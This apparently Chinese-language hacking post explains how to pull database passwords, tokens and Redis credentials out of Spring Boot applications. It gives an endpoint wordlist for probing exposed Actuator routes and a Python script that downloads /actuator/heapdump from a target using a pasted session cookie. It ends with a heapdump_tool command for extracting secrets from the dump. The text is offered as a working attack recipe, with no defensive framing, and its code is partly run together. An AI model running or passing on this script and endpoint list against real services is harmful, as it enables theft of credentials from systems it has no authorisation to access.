浏览器直接下载被拒?换个姿势,秒拿数据库密码、Token和Redis凭证

/api/xxx/xxx

api-docsactuatoractuator/./envactuator/auditLogactuator/auditeventsactuator/autoconfigactuator/beansactuator/cachesactuator/conditionsactuator/configurationMetadataactuator/configpropsactuator/dumpactuator/envactuator/eventsactuator/exportRegisteredServicesactuator/featuresactuator/flywayactuator/healthactuator/healthcheckactuator/httptraceactuator/hystrix.streamactuator/infoactuator/integrationgraphactuator/jolokiaactuator/logfileactuator/loggersactuator/loggingConfigactuator/liquibaseactuator/metricsactuator/mappings

import requests# ========== 请修改这里的配置 ==========URL = "http://你的目标地址/actuator/heapdump"COOKIE = "这里填入你的完整Cookie字符串"# ====================================# 下载配置headers = {"Cookie": COOKIE}file_name = "heapdump.hprof"try:    # 流式下载大文件（避免内存溢出）    with requests.get(URL, headers=headers, stream=True, timeout=300) as resp:        resp.raise_for_status()  # 抛出HTTP错误        withopen(file_name, "wb") as f:            for chunk in resp.iter_content(chunk_size=8192):                f.write(chunk)    print(f"✅ 下载完成！文件保存为：{file_name}")except Exception as e:    print(f"❌ 下载失败：{str(e)}")

java -jar heapdump_tool.jar heapdump